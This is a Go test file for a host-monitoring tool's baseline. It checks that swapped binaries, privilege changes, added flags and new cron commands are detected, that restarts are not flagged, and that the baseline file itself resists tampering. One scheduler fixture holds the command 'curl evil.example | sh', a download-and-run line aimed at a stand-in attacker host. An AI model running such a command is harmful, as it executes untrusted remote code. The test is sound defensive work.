package main // The baseline's job is one comparison: "have I seen this before?" These tests // are the two ways that comparison fails, because they fail in opposite // directions and a fix for one is the cause of the other. // // TOO LOOSE a swapped binary reads as the same program — the detection // story's central claim quietly stops being true. // TOO TIGHT every service restart reads as something new — the finding list // fills with noise and nobody reads the real one. import ( "os" "path/filepath" "runtime" "strings" "testing" ) // ── too loose ─────────────────────────────────────────────────────────────── // A DIFFERENT BINARY AT THE SAME PATH IS NOT THE SAME PROGRAM. This is the // attack the digest is in the fingerprint for: drop something new at // /usr/bin/node and a path-keyed baseline says "seen it". func TestASwappedBinaryIsNotTheSameEntry(t *testing.T) { const user, unit, shape = "user", "service", "node server.js" before := baselineFP("process", "aaaaaaaaaaaa", user, unit, shape) after := baselineFP("process", "bbbbbbbbbbbb", user, unit, shape) if before == after { t.Fatal("the same path with different CONTENT produced the same fingerprint. " + "A path is a name anything can be moved to; the digest is the only field " + "here that changes when the program does.") } } // The same binary run by a different user is a different fact about this // machine — collapsing them hides a privilege step. func TestTheSameBinaryUnderADifferentUserIsADifferentEntry(t *testing.T) { a := baselineFP("process", "aaaa", "user", "service", "x") b := baselineFP("process", "aaaa", "root", "service", "x") if a == b { t.Error("the same program as user and as root fingerprinted identically, so a " + "process that gained root would read as already-known") } } // A flag that changes what a program DOES survives the masking. This is the // balance point of the whole file: mask too much and this is what is lost. func TestANewFlagIsNotMaskedAway(t *testing.T) { // SAME NUMBER OF ARGUMENTS, different meaning. The first version of this // test compared one flag against two, so a mutation that masked every flag // to "" still produced different shapes and the test passed — it was // measuring the argument COUNT, not whether the argument survived. Two // flags either side is the assertion that cannot pass that way. harmless := baselineArgvShape("/usr/bin/chrome --headless --disable-gpu") loaded := baselineArgvShape("/usr/bin/chrome --headless --load-extension=/opt/x") if harmless == loaded { t.Errorf("--load-extension was masked away: %q == %q. The masking exists for "+ "values that change between runs of the same program, never for arguments "+ "that change what it does.", harmless, loaded) } // And the value it carries is part of the shape: a different extension is a // different program, even though both are --load-extension. other := baselineArgvShape("/usr/bin/chrome --headless --load-extension=/opt/y") if other == loaded { t.Errorf("two different extensions produced the same shape: %q", other) } } // ── too tight ─────────────────────────────────────────────────────────────── // A RESTART IS THE SAME ENTRY. Ports, pids, temp paths and request ids all // change when a service bounces; if any of them reached the fingerprint, every // restart on the box would be a finding. func TestARestartWithVolatileArgumentsIsTheSameEntry(t *testing.T) { for _, c := range []struct{ name, a, b string }{ {"a port", "worker --port 41551", "worker --port 52233"}, {"a pid", "helper --parent 8123", "helper --parent 9471"}, {"a temp path", "svc --sock /tmp/abc123/s.sock", "svc --sock /tmp/zzz999/s.sock"}, {"a request id", "job --id 4f3a9b2c8e1d", "job --id 99aa77bb55cc"}, {"a uuid", "svc --run 3f2504e0-4f89-11d3-9a0c-0305e82c3301", "svc --run 7c9e6679-7425-40de-944b-e07fc1f90ae7"}, } { t.Run(c.name, func(t *testing.T) { if got, want := baselineArgvShape(c.a), baselineArgvShape(c.b); got != want { t.Errorf("%s made a restart look like a new program:\n %q\n %q", c.name, got, want) } }) } } // The masking must not depend on the order the patterns happen to run in. A // UUID is made of hex runs, so hex-first would eat it piecemeal and produce a // different shape for the same string. func TestAUUIDIsMaskedWholeAndNotInPieces(t *testing.T) { got := baselineArgvShape("svc --run 3f2504e0-4f89-11d3-9a0c-0305e82c3301") if !strings.Contains(got, "") { t.Errorf("a uuid was not masked as one thing: %q", got) } if strings.Contains(got, "") { t.Errorf("a uuid was eaten in pieces by the hex rule: %q — the order in "+ "baselineArgvShape is load-bearing", got) } } // Four workers of one service are ONE fact about this machine. A baseline that // records a row per pid grows on every restart and is worthless by the week. func TestIdenticalProcessesCollapseToOneEntry(t *testing.T) { obs := []agentObs{ {PID: 1, User: "user", Cmdline: "worker --port 3001", Origin: "service"}, {PID: 2, User: "user", Cmdline: "worker --port 3002", Origin: "service"}, {PID: 3, User: "user", Cmdline: "worker --port 3003", Origin: "service"}, } got, _ := baselineFromObservations(obs, baselineExeDigest) if len(got) != 1 { t.Errorf("three workers of one service produced %d entries, want 1", len(got)) } } // ── what it could not see ─────────────────────────────────────────────────── // AN UNREADABLE EXECUTABLE IS COUNTED AND EXPLAINED, never silently dropped. // A baseline taken without administrator rights is a smaller truth than one // taken with them, and the number is how a reader knows which they hold. func TestWhatCouldNotBeReadIsCountedAndSaysWhy(t *testing.T) { obs := []agentObs{ {PID: 1, User: "user", Exe: "", Cmdline: "something"}, {PID: 2, User: "user", Exe: "/no/such/file", Cmdline: "other"}, } got, unreadable := baselineFromObservations(obs, baselineExeDigest) if unreadable != 2 { t.Errorf("unreadable = %d, want 2", unreadable) } for _, e := range got { if e.ExeDigest != "" { t.Errorf("%s got a digest from a file that cannot be read", e.FP) } if e.DigestNote == "" { t.Errorf("%s has no digest and does not say why. An empty digest with no "+ "reason reads as 'nothing to see'; it is usually 'this box could not "+ "look', which is a different fact.", e.FP) } } } // A real file gets a real digest, so the test above is not passing because // nothing can ever be hashed. func TestAReadableExecutableIsActuallyHashed(t *testing.T) { p := filepath.Join(t.TempDir(), "prog") if err := os.WriteFile(p, []byte("#!/bin/sh\necho hi\n"), 0o755); err != nil { t.Fatal(err) } d, note := baselineExeDigest(p) if d == "" { t.Fatalf("a readable regular file produced no digest: %s", note) } if len(d) != 64 { t.Errorf("digest is %d chars, want a 64-char sha256", len(d)) } // And the digest is of the CONTENT: change one byte, get a different answer. if err := os.WriteFile(p, []byte("#!/bin/sh\necho ho\n"), 0o755); err != nil { t.Fatal(err) } d2, _ := baselineExeDigest(p) if d2 == d { t.Error("editing the file did not change its digest") } } // ── the file on disk ──────────────────────────────────────────────────────── // A baseline edited on disk must not read as the one that was taken. func TestAnEditedBaselineNoLongerMatchesItsOwnDigest(t *testing.T) { uiTestConfigDir(t) f := baselineFile{ Version: baselineVersion, TakenAt: "2026-09-14T00:00:00Z", Entries: []baselineEntry{{FP: "abc", Kind: "process", User: "user"}}, } if err := baselineSave(f); err != nil { t.Fatal(err) } got, ok, err := baselineLoad() if err != nil { t.Fatal(err) } if !ok { t.Fatal("a baseline this test just wrote does not match its own digest") } if len(got.Entries) != 1 { t.Fatalf("entries = %d, want 1", len(got.Entries)) } // Now edit it the way somebody covering their tracks would: add an entry, // so a new process reads as baseline. p, err := baselinePath() if err != nil { t.Fatal(err) } b, err := os.ReadFile(p) if err != nil { t.Fatal(err) } edited := strings.Replace(string(b), `"fp": "abc"`, `"fp": "abc-tampered"`, 1) if edited == string(b) { t.Fatal("the fixture did not change, so this test proves nothing about editing") } if err := os.WriteFile(p, []byte(edited), 0o600); err != nil { t.Fatal(err) } got, ok, err = baselineLoad() if err != nil { t.Fatal(err) } if ok { t.Error("an edited baseline still matched its digest") } // And it is still READABLE: the caller needs to say "this was edited" and // show what it says, which is more use than refusing to open it. if got == nil || len(got.Entries) != 1 { t.Error("an edited baseline could not be read at all, so nothing can report " + "what it was changed to") } } // The baseline file holds the names of every automated program on the machine, // its user and its command line. Same permissions as every other record here. func TestTheBaselineIsWrittenPrivate(t *testing.T) { uiTestConfigDir(t) if err := baselineSave(baselineFile{Version: baselineVersion}); err != nil { t.Fatal(err) } p, err := baselinePath() if err != nil { t.Fatal(err) } fi, err := os.Stat(p) if err != nil { t.Fatal(err) } if runtime.GOOS == "windows" { t.Skip("unix permission bits do not carry the same meaning here") } if got := fi.Mode().Perm(); got != 0o600 { t.Errorf("baseline.json is %o, want 600 — it names every automated program on "+ "this machine, its user and its command line", got) } } // ── standing jobs are part of what is normal ──────────────────────────────── // A CRON JOB ADDED AFTER THE BASELINE MUST BE SOMETHING THE DELTA CAN SEE. // The accounting is meant to hold standing jobs, and baselineEntry.Kind has always // documented `process | scheduler | listener`, while only processes were // recorded — so scheduled work was outside the vocabulary the delta compares // against, invisible to the thing built to notice new work. func TestScheduledJobsAreInTheBaseline(t *testing.T) { got := baselineFromSchedulers([]schedEntry{ {Kind: "cron", Name: "/etc/cron.d/backup:3", Command: "/usr/bin/backup --to /tmp/x99", User: "root", Signature: "backup"}, {Kind: "systemd-timer", Name: "sweep.timer", Command: "/usr/bin/sweep", User: "user"}, }) if len(got) != 2 { t.Fatalf("%d scheduler entries, want 2", len(got)) } for _, e := range got { if e.Kind != "scheduler" { t.Errorf("entry kind %q, want scheduler", e.Kind) } if e.FP == "" { t.Error("a scheduler entry with no fingerprint cannot be compared against") } if e.ExeDigest != "" { t.Error("a scheduled job was given an executable digest; it has not run yet") } if e.DigestNote == "" { t.Error("no digest and no reason — reads as 'nothing to see'") } } } // A scheduler fingerprint keys on WHAT IT WOULD RUN, so a volatile path in the // command does not make the same job look new. func TestARescheduledJobIsTheSameEntryButAChangedCommandIsNot(t *testing.T) { one := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1", Command: "/usr/bin/backup --to /tmp/abc123", User: "root"}}) two := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1", Command: "/usr/bin/backup --to /tmp/zzz999", User: "root"}}) if one[0].FP != two[0].FP { t.Error("a volatile temp path made the same scheduled job look like a new one") } // The SCHEDULE is deliberately not in the fingerprint: changing when a // known job runs is a different event from a new job appearing. sched := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1", Command: "/usr/bin/backup --to /tmp/abc123", User: "root", Schedule: "0 4 * * *"}}) if sched[0].FP != one[0].FP { t.Error("changing the schedule produced a new fingerprint, so a re-timed job " + "would read as a new one") } // A different COMMAND is a different job. other := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1", Command: "/usr/bin/curl evil.example | sh", User: "root"}}) if other[0].FP == one[0].FP { t.Error("a completely different command fingerprinted the same as the original") } } // THE OWNING UNIT IS USED WHEN THE PLATFORM SUPPLIES ONE. Two services both // reading "service" are told apart only by digest and argv; the unit is what // makes them distinct facts about the machine. func TestTwoServicesWithDifferentUnitsAreDifferentEntries(t *testing.T) { a := []agentObs{{PID: 1, User: "root", Cmdline: "python3 worker.py", Origin: "service", Unit: "alpha.service"}} b := []agentObs{{PID: 2, User: "root", Cmdline: "python3 worker.py", Origin: "service", Unit: "beta.service"}} ea, _ := baselineFromObservations(a, baselineExeDigest) eb, _ := baselineFromObservations(b, baselineExeDigest) if ea[0].FP == eb[0].FP { t.Error("two different systemd units running the same command fingerprinted " + "identically — the unit is what tells services apart") } if ea[0].Unit != "alpha.service" { t.Errorf("the entry recorded unit %q, not the real one", ea[0].Unit) } // And with no unit it falls back to the origin, named rather than blank. none, _ := baselineFromObservations([]agentObs{{PID: 3, User: "root", Cmdline: "python3 worker.py", Origin: "service"}}, baselineExeDigest) if none[0].Unit != "service" { t.Errorf("with no unit the entry recorded %q, want the origin as the fallback", none[0].Unit) } } // ── the baseline holds EVERYTHING, or says it does not ────────────────────── // A BASELINE BUILT FROM THE SIGNATURE-FILTERED PLANE CANNOT WORK, and this is // the test that says so in numbers rather than in a comment. // // scanAgents returns a known agent binary, an interpreter-wrapped agent, or a // process caught talking to a model (agents.go:248-252). A baseline of only // those contains nothing a rogue process could fail to match, so "not baseline" // stops meaning anything. Measured on this box when the defect was found: the // filtered plane gave 1 entry and the unfiltered walk gives 118. func TestTheBaselineCoversMoreThanTheRecognisedAgents(t *testing.T) { all, complete := baselineAllProcesses() if !complete { t.Skip("this platform has no unfiltered walk yet; cmdObserveBaseline says so in " + "its output and the file records coverage=recognised-only") } recognised, err := scanAgents() if err != nil { t.Fatal(err) } // THE WIRING, not just the two sources. A mutation that pointed the baseline // back at the filtered plane passed the comparison below, because nothing // exercised which one collectBaseline actually uses. f, _, _, _, err := collectBaseline() if err != nil { t.Fatal(err) } if !strings.Contains(f.Coverage, "processes=all") { t.Errorf("the baseline reports coverage %q on a platform that HAS an unfiltered "+ "walk — it is being built from the filtered plane", f.Coverage) } if len(f.Entries) <= len(recognised) { t.Errorf("the baseline holds %d entries and the filtered plane sees %d. The "+ "baseline is being built from the wrong source.", len(f.Entries), len(recognised)) } if len(all) <= len(recognised) { t.Fatalf("the unfiltered walk found %d processes and the signature-filtered "+ "plane found %d. If those are the same, the baseline can only ever contain "+ "things already recognised as agents — and a brand-new unknown binary, the "+ "thing this feature exists to catch, would be absent from the baseline AND "+ "from every delta computed against it.", len(all), len(recognised)) } // And the unrecognised ones are really in there, with no signature — the // classification is a property, never a condition for being recorded. unsigned := 0 for _, a := range all { if a.Signature == "" { unsigned++ } } if unsigned == 0 { t.Error("every process in the unfiltered walk carries a signature, so this is " + "still the filtered plane wearing a different name") } t.Logf("%d processes, %d of them unrecognised; the filtered plane sees %d", len(all), unsigned, len(recognised)) } // The file SAYS which truth it holds, because a delta against a recognised-only // baseline can only ever notice recognised things. func TestTheBaselineRecordsItsOwnCoverage(t *testing.T) { // EVERY HALF, separately. One word said "all-processes" while the // scheduler half was recognised-only, which told a reader the opposite of // the truth about the half that matters for persistence. The listener and // identity halves report `unsupported` rather than // `recognised-only` — a reader that did not look at all is a different fact // from one that looked and saw a subset. if got := baselineCoverage(true, true, true, true); got != "processes=all,schedulers=all,listeners=all,identities=login-shells" { t.Errorf("coverage(all) = %q", got) } if got := baselineCoverage(true, false, true, true); got != "processes=all,schedulers=recognised-only,listeners=all,identities=login-shells" { t.Errorf("a recognised-only scheduler half is not reported: %q", got) } if got := baselineCoverage(false, false, false, false); got != "processes=recognised-only,schedulers=recognised-only,listeners=unsupported,identities=unsupported" { t.Errorf("coverage(partial) = %q", got) } // A BLIND HALF MUST NOT READ AS AN EMPTY ONE — the distinction the whole // class guard rests on. if baselineHasClass(baselineCoverage(true, true, false, false), "listeners") { t.Error("an unsupported listener half reads as covered, so a delta would " + "report every listener on the box as new") } if !baselineHasClass(baselineCoverage(true, true, true, true), "identities") { t.Error("a covered identity half reads as unsupported, so identities would never be compared") } // A baseline written before either class existed says nothing about them, // and that must read as "not looked at" rather than as "covered". if baselineHasClass("processes=all,schedulers=all", "listeners") { t.Error("a coverage line from before the listener class reads as covering listeners") } uiTestConfigDir(t) if err := baselineSave(baselineFile{Version: baselineVersion, Coverage: "processes=all,schedulers=all"}); err != nil { t.Fatal(err) } f, ok, err := baselineLoad() if err != nil || !ok { t.Fatalf("load: %v ok=%v", err, ok) } if f.Coverage != "processes=all,schedulers=all" { t.Errorf("coverage did not survive a round trip: %q", f.Coverage) } } // THE SCHEDULER HALF, WIRED. The scheduler tests fed synthetic entries into // baselineFromSchedulers, so nothing held WHICH LIST collectBaseline consumes — // the same wiring-vs-source gap that let a mutation fool the process test. // Measured when this was found: the plane discovered 68 standing jobs and 0 // survived the signature filter, so the baseline recorded "0 scheduled jobs" // while 68 existed. func TestTheBaselineTakesEverySchedulerNotOnlyRecognisedOnes(t *testing.T) { raw, _, supported := platformSchedulers() if !supported || len(raw) == 0 { t.Skip("this box exposes no standing jobs to compare against") } filtered, _ := scanSchedulers() if len(raw) == len(filtered) { t.Skip("every standing job here is recognised, so the two lists cannot be told apart") } f, _, schedCount, _, err := collectBaseline() if err != nil { t.Fatal(err) } if schedCount <= len(filtered) { t.Errorf("collectBaseline took %d standing jobs; the signature-filtered list has "+ "%d and the real inventory has %d. A cron job running an unrecognised "+ "command is the canonical persistence move, and a baseline that omits it "+ "has nothing for the delta to compare against.", schedCount, len(filtered), len(raw)) } got := 0 for _, e := range f.Entries { if e.Kind == "scheduler" { got++ } } if got <= len(filtered) { t.Errorf("the baseline holds %d scheduler entries, the filtered list has %d", got, len(filtered)) } }